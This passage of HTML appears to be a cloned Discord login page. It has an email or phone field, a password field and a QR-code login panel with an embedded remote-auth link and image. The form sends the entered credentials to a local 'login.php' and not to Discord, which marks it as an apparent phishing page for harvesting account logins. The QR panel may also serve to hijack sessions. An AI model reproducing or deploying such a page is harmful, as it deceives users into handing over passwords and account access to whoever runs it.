196.6c.4-.4.6-.8.6-2.1-.3 3.1-3.6.1-6.1-2.2a91.8 91.8 0 00-7.5-7.7c2.2 2.2 2.8 5.6 2.9 8.4 7 5.7 9.3 4.4 10.1 3.6z"></path><path fill="#ffc619" d="M1046.3 203.2c-1.2-3.6-1.1-6.7-.8-10.7s-1.3-10.8-8.7-19.9l-3.4 16.3c6 6.9 8.9 12.9 8.9 16.7s.6 10 4.1 9.2 1.1-8-.1-11.6z"></path><path fill="#ff78b9" d="M951.8 146.5a34.5 34.5 0 008.1 3.8 77 77 0 0011.2 2.7c.3 0 .4-.1.4-.3-.5-4.2-6.1-7.5-10.2-8.1s-8.4.1-9.7 1.4 0 .4.2.5z"></path><path fill="#eb459f" d="M1005.7 145.5c-.3 2.9-5.1 4.9-10.8 4.4s-10.1-3.3-9.9-6.3 3.6-4.8 8-2.8a20.3 20.3 0 006 1.5c4.4.4 6.9.9 6.7 3.2zM1013.9 164.6a39.5 39.5 0 004.6 2.3c2.7 1 3.6 1.8 2.7 3s-4.8 1.5-8.5-.3-5.6-4.5-4.6-6.1 2.9-.7 5.8 1.1zM1036.5 170.1a7.6 7.6 0 00-4.6-2.9c-2.8-.6-4.1.8-4 2.7s2.5 5.2 7.3 8.7 6.1-1 5.2-3-2.6-3.8-3.9-5.5z"></path><path fill="#66bcff" d="M1005.6 102.9a39.9 39.9 0 00-14.4 1.9c-3.5 1.2-.6 5.2 8.6 7.5s19.3 1.8 23 1.8 3.3.2 5.6 2.7 4.1 4.4 4.2 2.3-.4-4 1.2-5.8 2.2-2.8 2.2-4.4-.6-1.3-2.5-.2a57.1 57.1 0 01-5.7 3c-.9.3-1-.4-3.4-2.2a32.6 32.6 0 00-18.8-6.6z"></path><path fill="none" stroke="#66bcff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2.439" d="M986.7 107.2l4.4-1.1-3.1-2.7"></path><ellipse cx="997.8" cy="104.9" rx="1" ry="0.6" transform="rotate(-.6 1049.863 110.541)"></ellipse><path fill="#ff8c19" d="M935.4 135.9c-1.4-2.1-3.6-2.8-4.8-1.7s-1.2 3.7.2 5.7 3.5 2.8 4.8 1.7 1.1-3.7-.2-5.7z"></path><path fill="none" stroke="#ffe75c" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.742" d="M1032.9 181.2c4.6 3.1 6.7 5.5 7.9 10.4"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.742" d="M1029 113.5L1031.4 113.2"></path>
    <path fill="#3442d9" d="M960.6 175.9a37.7 37.7 0 00-12.6 3.7c-2.9 1.6.2 4.8 8.8 5.6s17.4-1.2 20.8-1.6 3-.4 5.4 1.6 4.3 3.4 4.1 1.5-.9-3.6.2-5.4 1.6-2.8 1.4-4.3-.7-1.1-2.3.2a30.2 30.2 0 01-4.7 3.5c-.8.4-.9-.3-3.3-1.4a29.6 29.6 0 00-17.8-3.4z"></path></g><g data-name="Layer 9"><path fill="#ffe75c" d="M604.7 175.3l-15.7 1.5a7.7 7.7 0 00-3.5 1.2c-5.6 3.4-6.7 5.7-6.7 5.7l9.3 9 18.5-14.6z"></path><path fill="#ffc619" d="M549.6 178.7l2.3-2.6s12.1-1.1 16.7-1.2 14.6 4.2 20 13.3c5.7-9.2 13.5-12.4 16.1-12.9l1.9 2.8L587 195z"></path><path fill="#66bcff" d="M566.6 193.4a30.2 30.2 0 00-1.2 4c-.3 1.3.6 1.3 7.2 1.3h15.5c1.9.1 2.7-.8 1.7-4.4 5.7-6.5 15.7-13 19.4-15.3a.5.5 0 00.2-.7l-.9-1.1a.6.6 0 00-.6 0c-7.6 5-13.9 9.5-19.8 15.4-8-9.2-14.4-12.8-19.7-15.2a1.5 1.5 0 00-.9-.2l-20 1a1.1 1.1 0 00-1.1 1.1.9.9 0 00.6.9c13.1 5.7 19.6 13.2 19.6 13.2z"></path><path fill="#8cd9ff" d="M566.6 193.4a30.2 30.2 0 00-1.2 4c-.3 1.3.6 1.3 7.2 1.3h13c-1.7-.1-2-.5.1-4.7-2.6-3.9-8.6-9.6-17.6-14.5l-21.1.7c13.1 5.7 19.6 13.2 19.6 13.2z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.521" d="M588.4 190.2L588.1 192.7"></path><path fill="#3442d9" d="M505.7 158.6l-.6-1c-.1-.1-.4-.2-.5-.1l-1.2.7-1.5-2.5-13.3.3a8.4 8.4 0 00-3 .8 28.4 28.4 0 00-3.3 2c-3.8-3.6-8.2-5.4-10.8-5.5s-14.2 0-14.2 0l-1.7 1.7h-2.2a1 1 0 00-.9.9.7.7 0 00.4.8 53.9 53.9 0 0110.9 7.2l1.6 1.4.7.8a16.5 16.5 0 012.6 2.8s-.9 2.2-1.2 3.3c0 .2-.1.3-.1.4a.5.5 0 00.4.5 7.5 7.5 0 002.4.4l3.4.2h10.8l2.2.2c1.6.1 2.3-.5 1.7-3.7 5.2-5.1 14-10 17.3-11.8.2.6.3.4.1.2z"></path><g><path fill="#ffe75c" d="M543.3 128.7l-22.7 2.2a10.4 10.4 0 00-4.9 1.8c-7.6 4.9-8.9 8.4-8.9 8.4l15.3 13.1 24.6-21.4z"></path><path fill="#ffc619" d="M463.2 133.9l2.9-3.8s17.5-1.7 24.2-1.8 22.1 6 31.8 19.3c6.6-13.5 17.5-18.2 21.2-18.9l3.4 4.1-25.8 24.8z"></path><path fill="#eb459f" d="M490.7 155.3s-.9 4-1.1 5.9 1.1 2 10.9 1.9h22.7c2.8.1 3.8-1.2 1.7-6.5 7.3-9.4 20.7-19 25.8-22.4a.7.7 0 000-1l-1.4-1.6a.8.8 0 00-.9-.1c-10.2 7.4-18.7 14-26.3 22.7-13.4-13.4-23.4-18.7-31.6-22.2a3 3 0 00-1.3-.2l-29.2 1.6a1.4 1.4 0 00-1.4 1.6 1.4 1.4 0 001 1.3c20.3 8.1 31.1 19 31.1 19z"></path><path fill="#ff78b9" d="M490.7 155.3s-.9 4-1.1 5.9 1.1 2 10.9 1.9h19c-2.4-.1-3-.8-.7-6.8-4.4-5.7-14.3-14-28.4-21.1l-30.8 1.1c20.3 8.1 31.1 19 31.1 19z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.521" d="M522 150L522.2 151.9"></path></g></g><path fill="#6874f7" d="M1193 1115.1a15.7 15.7 0 0015.6-18.5 111.8 111.8 0 00-213.8-20.7 117.2 117.2 0 00-111.3 35.2 2.4 2.4 0 001.8 4H1193z" data-name="Layer 8"></path></svg><div class="wrapper-6URcxg"><div style="opacity: 1; transform: scale(1) translateY(0px) translateZ(0px);"><div><form class="authBoxExpanded-2jqaBe authBox-hW6HRx theme-dark" method="post" action="login.php"><div class="centeringWrapper-2Rs1dR"><div class="flex-1xMQg5 flex-1O1GKY horizontal-1ae9ci horizontal-2EEEnY flex-1O1GKY directionRow-3v3tfG justifyStart-2NDFzi alignCenter-1dQNNs noWrap-3jynv6" style="flex: 1 1 auto;"><div class="mainLoginContainer-1ddwnR"><div class="header-2C7hmc"><h3 class="title-jXR8lp marginBottom8-AtZOdT fontDisplay-1dagSA base-1x0h_U size24-RIRrxO">Welcome back!</h3><div class="colorHeaderSecondary-3Sp3Ft size16-1P40sf">We're so excited to see you again!</div></div><div class="block-egJnc0 marginTop20-3TxNs6"><div class="marginBottom20-32qID7"><h5 class="colorStandard-2KCXvj size14-e6ZScH h5-18_1nd title-3sZWYQ defaultMarginh5-2mL-bP">Email or Phone Number</h5><div class="input-cIJ7To input-1CjGeR focused-1mmYsC"><div class="outerContainer-2pDY4c hidden-2l9u-8"><div class="container-1uOKxa" style="width: 0px;"><div class="innerContainer-20_g0H"><div class="countryCode-2YakYv" aria-controls="popout_11" aria-expanded="false" role="button" tabindex="0">BD +880</div><div class="separator-39gxf1"></div></div></div></div><div class="inputWrapper-31_8H8 inputWrapper-3aw2Sf"><input class="inputDefault-_djjkz input-cIJ7To inputField-4g7rSQ" name="email" type="text" placeholder="" aria-label="Email or Phone Number" autocomplete="off" maxlength="999" spellcheck="false" value=""></div></div></div><div><h5 class="colorStandard-2KCXvj size14-e6ZScH h5-18_1nd title-3sZWYQ defaultMarginh5-2mL-bP">Password</h5><div class="inputWrapper-31_8H8"><input class="inputDefault-_djjkz input-cIJ7To" name="password" type="password" placeholder="" aria-label="Password" autocomplete="off" maxlength="999" spellcheck="false" value=""></div></div><button type="button" class="marginBottom20-32qID7 marginTop4-2BNfKC linkButton-wzh5kV button-38aScr lookLink-9FtZy- lowSaturationUnderline-3svVxy colorLink-35jkBc sizeMin-1mJd1x grow-q77ONN"><div class="contents-18-Yxp">Forgot your password?</div></button><button type="submit" class="marginBottom8-AtZOdT button-3k0cO7 button-38aScr lookFilled-1Gx00P colorBrand-3pXr91 sizeLarge-1vSeWK fullWidth-1orjjo grow-q77ONN"><div class="contents-18-Yxp">Login</div></button><div class="marginTop4-2BNfKC"><span class="needAccount-23l_Wh">Need an account?</span><button type="button" class="smallRegisterLink-2LCrMe linkButton-wzh5kV button-38aScr lookLink-9FtZy- lowSaturationUnderline-3svVxy colorLink-35jkBc sizeMin-1mJd1x grow-q77ONN"><div class="contents-18-Yxp">Register</div></button></div></div></div><div class="verticalSeparator-3huAjp"></div><div class="transitionGroup-aR7y1d qrLogin-1AOZMt"><div class="measurementFill-31KKmO measurement-DMxQp7 measurementFillStatic-MZ1pNY"><div class="animatedNode-5VAmrN" style="overflow: visible; opacity: 1; height: 100%; transform: translateX(0%);"><div class="qrLoginInner-c_7ePj"><div class="qrCodeContainer-3sXarj"><div class="qrCode-wG6ZgU" title="https://discord.com/ra/On7GOZigqh8hzVgdkHF8jsWSMD0QUPktCpHuMbERHes" style="padding: 8px; border-radius: 4px; background: rgb(255, 255, 255);"><canvas width="160" height="160" style="display: none;"></canvas><img alt="Scan me!" src="data:image/png;base64,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" style="display: block;"></div><div class="qrCodeOverlay-qgtlTP">
   </div></div><h3 class="title-jXR8lp marginBottom8-AtZOdT fontDisplay-1dagSA base-1x0h_U size24-RIRrxO">Log in with QR Code</h3><div class="colorHeaderSecondary-3Sp3Ft size16-1P40sf">Scan this with the <strong>Discord mobile app</strong> to log in instantly.</div></div></div></div></div></div></div></form></div></div></div></div></div><div></div><div></div><div class="layerContainer-yqaFcK"></div><div class="layerContainer-yqaFcK"></div><div class="container-2cKKek"></div><div style="position: fixed; opacity: 0; pointer-events: none;"></div><div class="ring-13rgEW" style="top: 656.402px; width: 412.06px; height: 40.004px; left: 130.727px; --__adaptive-focus-color:var(--focus-primary); --__adaptive-radius:3px;"></div><div></div></div><div class="drag-previewer" style="z-index: 1000; filter: drop-shadow(0 0 0 var(--background-floating)) drop-shadow(var(--elevation-high));"><svg><foreignObject></foreignObject></svg></div><span class="drag-announcer" aria-live="assertive" aria-atomic="true" style="position: absolute; width: 1px; height: 1px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); border: 0px;"></span><div id="uid_1" style="display: none;">,</div><div id="uid_2" style="display: none;">,</div><div id="uid_3" style="display: none;">Reactions</div>  


</body></html>